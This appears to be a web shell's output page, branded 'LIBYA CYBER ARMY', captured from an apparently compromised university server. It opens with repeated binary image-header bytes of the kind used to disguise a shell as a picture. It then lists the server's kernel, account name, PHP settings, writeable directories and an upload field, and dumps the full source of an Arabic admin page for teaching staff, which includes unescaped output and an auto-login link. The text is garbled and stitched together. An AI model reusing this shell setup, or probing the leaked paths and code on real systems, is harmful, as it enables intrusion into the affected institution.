JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-} .
LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/public_html/cp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/public_html/cp/teaching-staff.php
<?php 
// اتصال بقاعدة بيانات 
require_once("../connection/connect.php");
$page_title = "أعضاء هيئة التدريس"; 
$page_select = "8"; 
require_once("include/header.php");
require_once("include/check.php");
require_once("include/locked.php");

// تأكد من تعريف متغير البحث في بداية الملف
$search_name = isset($_GET['search_name']) ? trim($_GET['search_name']) : '';

// التحقق من صلاحية المستخدم الحالي وجلب اسم القسم
$current_user_section = $row_users22['usr_section'];
$section_name = "";

if ($current_user_section > 0) {
    // جلب اسم القسم من جدول الأقسام باستخدام section_id
    $section_query = $dirsa->prepare("SELECT section_name FROM section WHERE section_id = ?");
    $section_query->bind_param("i", $current_user_section);
    $section_query->execute();
    $section_result = $section_query->get_result();
    if ($section_result && $section_result->num_rows > 0) {
        $section_row = $section_result->fetch_assoc();
        $section_name = $section_row['section_name'];
    }
}

// جلب بيانات التخصصات النشطة
$dirsa->select_db($database_dirsa);
$query_section = $dirsa->prepare("SELECT * FROM section WHERE section_start_or_stop = ?");
$active = 1;
$query_section->bind_param("i", $active);
$query_section->execute();
$section = $query_section->get_result();

// إعداد متغيرات الترقيم
$maxRows_activite = 10;
$pageNum_activite = isset($_GET['pageNum_activite']) ? $_GET['pageNum_activite'] : 0;
$startRow_activite = $pageNum_activite * $maxRows_activite;

// بناء الاستعلام الأساسي
$query_activite = "SELECT t.* FROM teachers t WHERE t.is_deleted IS NULL";
$params = [];
$types = "";

// إضافة شرط القسم حسب نوع المستخدم
if ($current_user_section > 0) {
    // إذا كان المستخدم تابع لقسم معين، عرض أعضاء قسمه فقط
    $query_activite .= " AND t.teacher_section LIKE ?";
    $params[] = "%{$section_name}%";
    $types .= "s";
} elseif (isset($_GET['section']) && !empty($_GET['section'])) {
    // للمستخدم العام، إذا تم اختيار قسم من القائمة
    $query_activite .= " AND t.teacher_section LIKE ?";
    $params[] = "%{$_GET['section']}%";
    $types .= "s";
}

// إضافة شرط البحث بالاسم إذا وجد
if (!empty($search_name)) {
    $query_activite .= " AND t.teacher_name LIKE ?";
    $params[] = "%{$search_name}%";
    $types .= "s";
}

$query_activite .= " ORDER BY t.teacher_id DESC";

// إضافة حدود الصفحات
$query_limit = $query_activite . " LIMIT ?, ?";
$params[] = $startRow_activite;
$params[] = $maxRows_activite;
$types .= "ii";

// تنفيذ الاستعلام
$stmt = $dirsa->prepare($query_limit);
if (!empty($params)) {
    $stmt->bind_param($types, ...$params);
}
$stmt->execute();
$activite = $stmt->get_result();
$row_activite = $activite->fetch_assoc();

// حساب إجمالي عدد الصفوف
$stmt_total = $dirsa->prepare($query_activite);
if (!empty($params)) {
    array_pop($params);
    array_pop($params);
    $types = substr($types, 0, -2);
    if (!empty($params)) {
        $stmt_total->bind_param($types, ...$params);
    }
}
$stmt_total->execute();
$result_total = $stmt_total->get_result();
$totalRows_activite = $result_total->num_rows;
$totalPages_activite = ceil($totalRows_activite/$maxRows_activite)-1;
?>

<!-- بداية المحتوى -->
<div class="content-wrapper">
    <div class="container-xxl flex-grow-1 container-p-y">
        <div class="card">
            <div class="card-header d-flex justify-content-between align-items-center">
                <div class="col-auto">
                    <form method="get" class="d-flex">
                        <input type="text" name="search_name" class="form-control me-2" 
                               placeholder="البحث باسم العضو" 
                               value="<?php echo htmlspecialchars($search_name); ?>">
                        
                        <?php if ($current_user_section == 0) { ?>
                            <select name="section" class="form-select me-2">
                                <option value="">الجميع</option>
                                <?php 
                                $section->data_seek(0);
                                while ($row_section = $section->fetch_assoc()) { 
                                ?>
                                    <option value="<?php echo $row_section['section_name']; ?>" 
                                            <?php echo (isset($_GET['section']) && $_GET['section'] == $row_section['section_name']) ? "selected" : ""; ?>>
                                        <?php echo $row_section['section_name']; ?>
                                    </option>
                                <?php 
                                }
                                ?>
                            </select>
                        <?php } else { ?>
                            <select name="section" class="form-select me-2" disabled>
                                <option value="<?php echo htmlspecialchars($section_name); ?>" selected>
                                    <?php echo htmlspecialchars($section_name); ?>
                                </option>
                            </select>
                        <?php } ?>
                        
                        <button type="submit" class="btn btn-primary">بحث</button>
                    </form>
                </div>
                
                <?php if($row_users22['usr_add'] == 1){ ?>
                    <a href="add-teacher.php">
                        <button class="btn btn-primary">إضافة عضو جديد</button>
                    </a>
                <?php } ?>
            </div>

            <?php if($totalRows_activite > 0) { ?>
                <div class="table-responsive text-nowrap">
                    <table class="table table-hover">
                        <thead>
                            <tr>
                                <th>الاسم</th>
                                <th>المؤهل العلمي</th>
                                <th>الكليات التابع لها</th>
                                <th>مكان التخرج</th>
                                <th>سنة التخرج</th>
                                <th>الحالة</th>
                                <th>إجراءات</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php 
                            do { 
                                if ($row_activite) {
                            ?>
                                <tr>
                                    <td><?php echo $row_activite['teacher_name']; ?></td>
                                    <td><?php echo $row_activite['teacher_qualification']; ?></td>
                                    <td><?php 
                              $str_arr = preg_split ("/\,/", $row_activite['teacher_section']);       
                              foreach($str_arr as $value) {
                                  if($value <> ' ') {
                                  ?>
                          <div>
                             
                            <span class="badge bg-label-info"
                              ><?php echo $value; ?>
                           </span>
                          </div> 
                            <?php } else { } } ?>
                        </td>
                        <td>
                          <span class="badge bg-label-dark"
                            ><?php echo $row_activite['teacher_makan']; ?></span
                          >
                        </td>
                        <td>
                          <span class="badge bg-label-secondary"><?php echo $row_activite['teacher_years']; ?></span>
                        </td>
                                    <td>
                                    <?php if($row_activite['teacher_state'] == 1) {  ?>
                          <span class="badge bg-label-success me-1">مفعل</span>
                          <?php } else { ?>
                           <span class="badge bg-label-danger me-1">غير مفعل</span>
                           <?php } ?>
                                    </td>
                                    <td>
                                        <div class="dropdown">
                                            <button type="button" class="btn p-0 dropdown-toggle hide-arrow" data-bs-toggle="dropdown">
                                                <i class="bx bx-dots-vertical-rounded"></i>
                                            </button>
                                            <div class="dropdown-menu">
                                      
                                                    <a class="dropdown-item" href="auto_login_teacher.php?id=<?php echo $row_activite['teacher_id']; ?>" target="_blank">
                                                        <i class="bx bx-log-in-circle me-1"></i> تسجيل دخول تلقائي
                                                    </a>
                                            
                                                <?php if($row_users22['usr_edit'] == 1){ ?>
                                                    <a class="dropdown-item" href="edit_teacher.php?id=<?php echo $row_activite['teacher_id']; ?>">
                                                        <i class="bx bx-edit-alt me-1"></i> تعديل
                                                    </a>
                                                <?php } ?>
                                                <?php if($row_activite['teacher_state'] == 1) { ?>
                                                        <a class="dropdown-item"
                                                            href="start_or_stop_teacher.php?state=0&&id=<?php echo $row_activite['teacher_id']; ?>">
                                                            <i class="bx bx-power-off me-1"></i>إيقاف</a>
                                                        <?php } else { ?>
                                                        <a class="dropdown-item"
                                                            href="start_or_stop_teacher.php?state=1&&id=<?php echo $row_activite['teacher_id']; ?>">
                                                            <i class="bx bx-show-alt me-1"></i>تشغيل</a>
                                                        <?php } ?>
                   
                                              
                                                <?php if($row_users22['usr_delete'] == 1){ ?>
                                                    <a class="dropdown-item" href="delete-teacher.php?teacher_id=<?php echo $row_activite['teacher_id']; ?>" onclick="return confirm('هل أنت متأكد من حذف هذا العضو؟');">
                                                        <i class="bx bx-trash me-1"></i> حذف
                                                    </a>
                                                <?php } ?>
     
                                            </div>
                                        </div>
                                    </td>
                                </tr>
                            <?php 
                                }
                            } while ($row_activite = $activite->fetch_assoc());
                            ?>
                        </tbody>
                    </table>
                </div>

                <!-- أزرار التنقل بين الصفحات -->
                <div class="card-footer text-center py-2">
                    <nav aria-label="Page navigation">
                        <ul class="pagination justify-content-center">
                            <?php if ($pageNum_activite > 0) { ?>
                                <li class="page-item">
                                    <a class="page-link" href="?pageNum_activite=0&search_name=<?php echo urlencode($search_name); ?>&section=<?php echo isset($_GET['section']) ? urlencode($_GET['section']) : ''; ?>">
                                        <i class="tf-icon bx bx-chevrons-right"></i>
                                    </a>
                                </li>
                                <li class="page-item">
                                    <a class="page-link" href="?pageNum_activite=<?php echo max(0, $pageNum_activite - 1); ?>&search_name=<?php echo urlencode($search_name); ?>&section=<?php echo isset($_GET['section']) ? urlencode($_GET['section']) : ''; ?>">
                                        <i class="tf-icon bx bx-chevron-right"></i>
                                    </a>
                                </li>
                            <?php } ?>

                            <?php
                            // عرض أرقام الصفحات مع التحكم في عدد الأرقام المعروضة
                            $range = 2; // عدد الصفحات قبل وبعد الصفحة الحالية
                            $start = max(0, $pageNum_activite - $range);
                            $end = min($totalPages_activite, $pageNum_activite + $range);

                            // عرض "..." في البداية إذا لزم الأمر
                            if ($start > 0) {
                                echo '<li class="page-item disabled"><span class="page-link">...</span></li>';
                            }

                            for ($i = $start; $i <= $end; $i++) {
                                if ($i == $pageNum_activite) {
                                    echo '<li class="page-item active"><span class="page-link">' . ($i + 1) . '</span></li>';
                                } else {
                                    echo '<li class="page-item"><a class="page-link" href="?pageNum_activite=' . $i . '&search_name=' . urlencode($search_name) . '&section=' . (isset($_GET['section']) ? urlencode($_GET['section']) : '') . '">' . ($i + 1) . '</a></li>';
                                }
                            }

                            // عرض "..." في النهاية إذا لزم الأمر
                            if ($end < $totalPages_activite) {
                                echo '<li class="page-item disabled"><span class="page-link">...</span></li>';
                            }
                            ?>

                            <?php if ($pageNum_activite < $totalPages_activite) { ?>
                                <li class="page-item">
                                    <a class="page-link" href="?pageNum_activite=<?php echo min($totalPages_activite, $pageNum_activite + 1); ?>&search_name=<?php echo urlencode($search_name); ?>&section=<?php echo isset($_GET['section']) ? urlencode($_GET['section']) : ''; ?>">
                                        <i class="tf-icon bx bx-chevron-left"></i>
                                    </a>
                                </li>
                                <li class="page-item">
                                    <a class="page-link" href="?pageNum_activite=<?php echo $totalPages_activite; ?>&search_name=<?php echo urlencode($search_name); ?>&section=<?php echo isset($_GET['section']) ? urlencode($_GET['section']) : ''; ?>">
                                        <i class="tf-icon bx bx-chevrons-left"></i>
                                    </a>
                                </li>
                            <?php } ?>
                        </ul>
                    </nav>
                </div>
            <?php } else { ?>
                <center><h3>لا توجد بيانات لعرضها </h3></center>
            <?php } ?>
        </div>
    </div>
</div>

<?php require_once("include/footer.php"); ?>


3g86 2022